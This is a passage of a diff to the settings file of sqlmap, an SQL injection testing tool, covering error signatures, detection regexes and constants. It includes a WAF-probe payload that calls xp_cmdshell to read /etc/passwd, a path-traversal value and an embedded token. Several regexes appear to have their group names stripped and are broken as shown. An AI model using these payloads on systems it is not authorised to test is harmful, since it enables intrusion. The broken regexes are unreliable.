SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES), (DBMS.HANA, HANA_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) -HSQLDB_DEFAULT_SCHEMA = "PUBLIC" +# DBMSes with upper case identifiers +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE, DBMS.HANA)) + +# Default schemas to use (when unable to enumerate) +H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" +VERTICA_DEFAULT_SCHEMA = "public" +MCKOI_DEFAULT_SCHEMA = "APP" +CACHE_DEFAULT_SCHEMA = "SQLUser" +SPANNER_DEFAULT_SCHEMA = "default" + +# DBMSes where OFFSET mechanism starts from 1 +PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.CACHE)) # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") # Items displayed in basic help (-h) output BASIC_HELP_ITEMS = ( - "url", - "googleDork", - "data", - "cookie", - "randomAgent", - "proxy", - "testParameter", - "dbms", - "level", - "risk", - "tech", - "getAll", - "getBanner", - "getCurrentUser", - "getCurrentDb", - "getPasswordHashes", - "getTables", - "getColumns", - "getSchema", - "dumpTable", - "dumpAll", - "db", - "tbl", - "col", - "osShell", - "osPwn", - "batch", - "checkTor", - "flushSession", - "tor", - "sqlmapShell", - "wizard", - ) + "url", + "googleDork", + "data", + "cookie", + "randomAgent", + "proxy", + "testParameter", + "dbms", + "level", + "risk", + "technique", + "getAll", + "getBanner", + "getCurrentUser", + "getCurrentDb", + "getPasswordHashes", + "getDbs", + "getTables", + "getColumns", + "getSchema", + "dumpTable", + "dumpAll", + "db", + "tbl", + "col", + "osShell", + "osPwn", + "batch", + "checkTor", + "flushSession", + "tor", + "sqlmapShell", + "wizard", +) + +# Tags used for value replacements inside shell scripts +SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%" +SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%" # String representation for NULL value NULL = "NULL" @@ -272,37 +496,62 @@ # String representation for current database CURRENT_DB = "CD" +# String representation for current user +CURRENT_USER = "CU" + +# Name of SQLite file used for storing session data +SESSION_SQLITE_FILE = "session.sqlite" + +# Regular expressions used for finding file paths in error messages +FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s'\"])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s'\"])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") + # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( - r"[^<]*(fatal|error|warning|exception)[^<]*:?\s*(?P.+?)", - r"(?m)^(fatal|error|warning|exception):?\s*(?P.+?)$", - r"
  • Error Type:
    (?P.+?)
    • ", - r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", - ) + r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P[^<]+)", + r"[^<]{0,100}(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", + r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", + r"(sql|dbc)[^>'\"]{0,32}(fatal|error|warning|exception)(    )?:\s*(?P[^<>]+)", + r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", + r"(?s)
  • Error Type:
    (?P.+?)
    • ", + r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", + r"Code: \d+. DB::Exception: (?P[^<>\n]*)", + r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", + r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", + r"(?Pquery error: SELECT[^<>]+)", + r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)", + r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P[^"]+)"' # generic JSON error-message field (NoSQL document/REST back-ends) +) # Regular expression used for parsing charset info from meta html headers -META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' +META_CHARSET_REGEX = r"""(?si)]*>.*]+charset\s*=\s*["']?(?P[^"'> ]+).*""" # Regular expression used for parsing refresh info from meta html headers -META_REFRESH_REGEX = r'(?si)(?!.*?]+content="?[^">]+url=["\']?(?P[^\'">]+).*' +META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' + +# Regular expression used for parsing Javascript redirect request +JAVASCRIPT_HREF_REGEX = r'", - "file=../../../../etc/passwd", - "q=foobar", - "id=1 %s" % IDS_WAF_CHECK_PAYLOAD - ) +# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9) +CHECK_INTERNET_ADDRESS = "http://www.google.com/generate_204" + +# HTTP code to look in response to CHECK_INTERNET_ADDRESS +CHECK_INTERNET_CODE = 204 + +# Payload used for checking of existence of WAF/IPS (dummier the better) +IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) -BIGARRAY_CHUNK_SIZE = 1024 * 1024 +BIGARRAY_CHUNK_SIZE = 32 * 1024 * 1024 + +# Compress level used for storing BigArray chunks to disk (0-9) +BIGARRAY_COMPRESS_LEVEL = 4 + +# Maximum number of socket pre-connects +SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 # Only console display last n table rows TRIM_STDOUT_DUMP_SIZE = 256 +# Reference: http://stackoverflow.com/a/3168436 +# Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 +DUMP_FILE_BUFFER_SIZE = 1024 + +# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size) +PURGE_BLOCK_SIZE = 1024 * 1024 + # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_STEP = 10 -# Maximum number of times for revalidation of a character in time-based injections -MAX_TIME_REVALIDATION_STEPS = 5 +# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections +ORDER_BY_MAX = 1000 -# Characters that can be used to split parameter values in provided command line (e.g. in --tamper) -PARAMETER_SPLITTING_REGEX = r'[,|;]' +# Maximum number of times for revalidation of a character in inference (as required) +MAX_REVALIDATION_STEPS = 5 -# Regular expression describing possible union char value (e.g. used in --union-char) -UNION_CHAR_REGEX = r'\A\w+\Z' +# Characters that can be used to split parameter values in provided command line (e.g. in --tamper) +PARAMETER_SPLITTING_REGEX = r"[,|;]" # Attribute used for storing original parameter value in special cases (e.g. POST) -UNENCODED_ORIGINAL_VALUE = 'original' +UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) -COMMON_USER_COLUMNS = ('user', 'username', 'user_name', 'benutzername', 'benutzer', 'utilisateur', 'usager', 'consommateur', 'utente', 'utilizzatore', 'usufrutuario', 'korisnik', 'usuario', 'consumidor') +COMMON_USER_COLUMNS = frozenset(("login", "user", "uname", "username", "user_name", "user_login", "account", "account_name", "auth_user", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser")) # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' @@ -499,29 +887,52 @@ # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" -# Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "YzQzM2M2YzgzMDExN2I5ZDMyYjAzNTIzODIwZDA2MDFmMmVjODI1Ng==" +# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24) +GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe" + +# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge) +HASHDB_STALE_DAYS = 7 -# Skip unforced HashDB flush requests below the threshold number of cached items -HASHDB_FLUSH_THRESHOLD = 32 +# Flush HashDB threshold number of cached items +HASHDB_FLUSH_THRESHOLD_ITEMS = 200 + +# Flush HashDB threshold "dirty" time +HASHDB_FLUSH_THRESHOLD_TIME = 5 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 +# Number of retries for unsuccessful HashDB retrieve attempts +HASHDB_RETRIEVE_RETRIES = 3 + # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 -# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "JHjrBugdDA" # "".join(random.sample(string.ascii_letters, 10)) +# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing the hash/serialization mechanism) +HASHDB_MILESTONE_VALUE = "MvKpZrBqTn" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 -# On huge tables there is a considerable slowdown if every row retrieval requires ORDER BY (most noticable in table dumping using ERROR injections) -SLOW_ORDER_COUNT_THRESHOLD = 10000 - # Give up on hash recognition if nothing was found in first given number of rows -HASH_RECOGNITION_QUIT_THRESHOLD = 10000 +HASH_RECOGNITION_QUIT_THRESHOLD = 1000 + +# Wall-clock budget (in seconds) for the pure-Python cracking of very slow, per-hash-salted algorithms +# (bcrypt); candidate-major so the most common passwords are tried against every hash first, then it stops +# and the remainder is left for a dedicated tool (e.g. 'hashcat'). Overridable via 'SQLMAP_HASH_ATTACK_TIME_LIMIT' +HASH_ATTACK_TIME_LIMIT = 300 + +# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values +HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash|secret|digest" + +# Regular expression matching (declared) binary column types, used to auto-hex their values during dumping +# so raw bytes (e.g. password hashes stored in binary form) are not silently truncated at NUL / mangled by +# the text extraction channel (mirrors a manual '--binary-fields', using the already-fetched column type) +BINARY_FIELDS_TYPE_REGEX = r"(?i)binary|blob|bytea|image|\braw\b" + +# Uppercased keywords of the above, for building an in-SQL "is this column binary-typed?" check when only +# column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX) +BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW") # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 @@ -529,32 +940,430 @@ # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 +# Maximum (deliberate) delay used in page stability check +MAX_STABILITY_DELAY = 0.5 + # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 +# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so +# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the +# value is popped right after it is triggered, so only recent entries ever matter) +MAX_DNS_REQUESTS = 1000 + # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) -DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters) +DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') -# String used for dummy XSS check of a tested parameter value -DUMMY_XSS_CHECK_APPENDIX = "<'\">" - -# Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections) -MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 +# Minor artistic touch +BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) + +# String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value +DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)" + +# Regular expression used for recognition of file inclusion errors +FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" + +# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection +NOSQL_ERRORS = ( + ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"), + ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'), + ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['), + ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"), + ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|MERGE|LOAD CSV)'"), + ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"), + ("Cassandra", r"line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input '.*?' expecting)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"), + ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"), + ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"), + ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"), + ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"), +) +NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS) + +# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction +NOSQL_CHAR_MIN = 0x20 +NOSQL_CHAR_MAX = 0x7e + +# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump +NOSQL_MAX_FIELDS = 64 + +# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump +NOSQL_MAX_RECORDS = 100 + +# Upper bound for the length search during NoSQL blind extraction +NOSQL_MAX_LENGTH = 1024 + +# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql) +GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query") + +# Self-describing JSON endpoint directories probed once per host during crawling: OIDC discovery lists the +# auth/token/userinfo URLs, OpenAPI/Swagger specs enumerate the whole API (their paths are mined as endpoints) +WELL_KNOWN_ENDPOINT_PATHS = ("/.well-known/openid-configuration", "/swagger.json", "/openapi.json", "/swagger/v1/swagger.json", "/api-docs", "/v2/api-docs", "/v3/api-docs", "/api/swagger.json", "/api/openapi.json") + +# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error +# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique) +GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts", + "account", "accounts", "profile", "product", "products", "order", "orders", "item", "items", + "customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser") +GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search", + "email", "input", "password", "key", "filter", "slug", "title", "uid") + +# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the +# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their +# fields/arguments/inputFields with type chains, directives, and deprecation metadata. +GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap { + __schema { + queryType { name } + mutationType { name } + subscriptionType { name } + directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } } + types { + kind + name + fields(includeDeprecated: true) { + name + args { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + type { kind name ofType { kind name ofType { kind name } } } + } + inputFields { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + enumValues(includeDeprecated: true) { name } + specifiedByURL + } + } +}""" + +# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse, +# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based +# detection inside the GraphQL engine. +GRAPHQL_PARSE_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"', + r"\bSyntax Error:\s*[^\"]", + r"\bExpected Name,\s*found\b", + r"\bUnexpected\s+\b", +) +GRAPHQL_VALIDATION_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"', + r"\bCannot query field\s+\"[^\"]+\"\s+on type\s+\"[^\"]+\"", + r"\bUnknown argument\s+\"[^\"]+\"\s+on field\s+\"[^\"]+\"", + r"\bField\s+\"[^\"]+\"\s+argument\s+\"[^\"]+\"\s+of type\s+\"[^\"]+\"\s+is required\b", + r"\bVariable\s+\"\$[^\"]+\"\s+got invalid value\b", + r"\bExpected type\s+[^,]+,\s*found\b", + r"\bDid you mean\s+\"[^\"]+\"\b", +) +GRAPHQL_APQ_ERRORS = ( + r"\bPersistedQueryNotFound\b", + r"\bPersistedQueryNotSupported\b", +) +GRAPHQL_RUNTIME_ERRORS = ( + r"\bGraphQL\s+(?:resolver\s+)?error\b", +) +GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS) + +# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against +# HTTP response bodies). Each tuple is (backend_name, regex_fragment). +LDAP_ERROR_SIGNATURES = ( + ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"), + ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"), + ("Microsoft Active Directory", r"80090308:\s*LdapErr"), + ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"), + ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"), + ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"), + ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"), + ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"), + ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"), + ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"), + ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"), + ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"), +) + +# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising +# that an error response originates from an LDAP back-end rather than a generic HTTP 500 +LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan +LDAP_CHAR_MIN = 0x20 +LDAP_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during LDAP blind extraction +LDAP_MAX_LENGTH = 256 + +# Maximum number of directory entries enumerated during LDAP blind dumping +LDAP_MAX_RECORDS = 20 + +# Attributes that definitively identify the backend vendor when probed on the RootDSE or +# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend). +LDAP_FINGERPRINT_ATTRIBUTES = ( + ("objectGUID", None, "Microsoft Active Directory"), + ("vendorName", "OpenLDAP", "OpenLDAP"), + ("vendorName", "Apache Software Foundation", "ApacheDS"), + ("vendorName", "Oracle Corporation", "Oracle Directory Server"), + ("vendorName", "Red Hat", "389 Directory Server"), +) + +# XPath error signatures per parser implementation for error-based detection and +# fingerprinting (matched against HTTP response bodies). Each tuple is +# (backend_name, regex_fragment). +XPATH_ERROR_SIGNATURES = ( + ("Java JAXP / Xalan", r"(?:javax\.xml\.(?:xpath\.XPathExpressionException|transform\.Transformer(?:Configuration)?Exception)|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath|org\.xml\.sax\.SAX(?:Parse)?Exception)"), + ("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"), + ("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"), + ("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST|XTDE)\d{4}:"), + (".NET XPathNavigator", r"System\.Xml\.(?:XPath\.XPathException|XmlException)"), + (".NET XPathNavigator", r"Expression must evaluate to a node-set"), + (".NET XPathNavigator", r"has an invalid (?:token|qualified name)"), + ("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"), + ("lxml / libxml2", r"(?:XPath error|Invalid (?:expression|predicate))"), + ("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"), + ("PHP SimpleXML / DOMXPath", r"Invalid expression|xmlXPathEval"), + ("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"), + ("Saxon (standalone)", r"Static error\(s\) in query"), + ("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"), + ("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"), + ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"), + ("eXist", r"exerr:ERROR"), + ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"), + ("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"), + ("Generic XPath", r"Invalid XPath|XPath evaluation failed"), +) + +XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds bisected during XPath blind character extraction +XPATH_CHAR_MIN = 0x20 +XPATH_CHAR_MAX = 0x7e + +# Maximum tree depth for recursive XML walking during XPath blind extraction +XPATH_MAX_DEPTH = 32 + +# Upper bound for the value-length search during XPath blind extraction +XPATH_MAX_LENGTH = 256 + +# SSTI error signatures per template engine for detection and fingerprinting. +# Each tuple is (engine_name, regex_fragment). +SSTI_ERROR_SIGNATURES = ( + ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"), + ("Twig", r"Twig[\\_]Error|Twig[\\_]Environment|Unknown (?:filter|function|test|tag)"), + ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"), + ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"), + ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"), + ("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"), + ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"), + ("Pug/Jade", r"pug|jade|ParseError"), + ("Handlebars", r"handlebars|Handlebars|Parse error on line"), + ("Generic SSTI", r"template.*?(?:error|syntax|exception)"), +) + +SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES) + +# XXE parser error signatures for detection and fingerprinting. Each tuple is +# (parser_family, regex_fragment). A match means the XML surface reached a real +# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) - +# useful both as an error-based oracle and to fingerprint the back-end parser. +XXE_ERROR_SIGNATURES = ( + ("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"), + ("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"), + ("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"), + (".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"), + ("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"), + ("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"), + ("Go encoding/xml", r"XML syntax error on line \d+"), + ("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"), +) + +XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES) + +# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external +# entities explicitly refused). Reported as "reachable but protected" - never a hit. +XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)" + +# Benign, low-entropy files used only to demonstrate file-read impact once XXE is +# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a +# short host-identity file is enough to prove the read without tripping decoys. +# Out-of-band (interactsh) collector for blind XXE confirmation. Public default +# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server +# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match +# the interactsh defaults (subdomain = <20-char id><13-char nonce>.). 